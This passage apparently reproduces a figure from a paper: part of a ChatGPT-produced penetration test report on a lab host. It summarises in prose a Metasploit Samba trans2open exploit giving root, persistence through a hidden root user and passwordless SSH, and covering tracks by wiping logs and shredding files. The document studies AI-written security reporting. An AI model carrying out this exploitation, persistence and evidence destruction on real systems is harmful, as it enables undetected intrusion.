- The "Samba ``trans2open`` overflow" exploit was successfully executed using Metasploit, granting root access to the target machine.

4. Maintaining Access:

- Persistent access was achieved by creating a new root user and enabling password-less SSH authentication.
- Attempts to upgrade the shell to ``meterpreter`` were unsuccessful, but stable access was maintained via SSH.

5. Covering Tracks:

- Various techniques were employed to remove evidence of the penetration test, including clearing logs, removing command history, and securely deleting files using the ``shred`` command.

4. Findings

- **Reconnaissance:** The target machine was successfully identified on the network with the IP address 192.168.1.7.
- **Scanning:** The ``nmap`` scan revealed several open ports, including port 445 (SMB service), which was running an outdated version of SMB vulnerable to the ``trans2open`` exploit.
- **Gaining Access:** Root access was obtained by exploiting the ``trans2open`` vulnerability, allowing full control over the target system.
- **Maintaining Access:** A new root user (``Haitham``) was created, and SSH key-based authentication was enabled to ensure persistent and undetected access.
- **Covering Tracks:** Logs and command history were successfully cleared, and sensitive files were securely deleted, reducing the risk of detection.

Figure 4: ChatGPT-produced PenTest report — (part 2/2)